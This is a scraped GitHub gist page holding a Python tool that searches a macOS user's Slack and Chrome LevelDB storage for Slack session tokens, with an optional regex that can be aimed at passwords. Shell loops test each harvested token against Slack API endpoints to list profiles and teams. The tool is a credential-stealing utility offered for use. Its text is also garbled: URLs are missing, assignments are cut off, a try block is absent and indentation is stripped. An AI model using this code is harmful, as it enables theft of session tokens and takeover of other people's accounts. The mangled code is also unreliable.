Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
Get Slack tokens from local ldb storage files
#!/usr/bin/env python
Just a python re-write of a tool by akerl
# user profiles
for tok in $(python3; do echo "Trying $tok"; curl -s\?token\=$tok -H'Content-Type: application/x-www-form-urlencoded' | jq ; done
# teams
for tok in $(python3; do echo "Trying $tok"; curl -s\?token\=$tok -H'Content-Type: application/x-www-form-urlencoded' | jq -r '.enterprise_user.teams[]; done
curl -s\?team\=$team\&token=$tok -H'Content-Type: application/x-www-form-urlencoded' | jq
python3 "password.{1,50}"
import os
import re
import sys
def find_tokens(file, token_regex):
with open(file, mode='rb') as f:
dbf =
tokens = re.findall(token_regex, dbf)
return tokens
def main():
token_regex = re.compile(b'xoxs-\d+-\d+-\d+-[a-fA-F\d]+')
if len(sys.argv) > 1:
token_regex = re.compile(b'%s' % sys.argv[1].encode())
user_dir = os.getlogin()
# find ~/Library/Application\ Support/Slack/ -name \*.ldb
dirs = ['/Users/%s/Library/Application Support/Slack/' % user_dir, '/Users/%s/Library/Application Support/Google/Chrome/' % user_dir]
ldb_files = []
for d in dirs:
for root, dirs, files in os.walk(d):
for name in files:
if ".ldb" in name:
ldb_files.append(os.path.join(root, name))
tokens = []
for file in ldb_files:
tokens += find_tokens(file, token_regex)
for t in list(set(tokens)):
if t:
except UnicodeDecodeError:
if __name__ == "__main__":
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment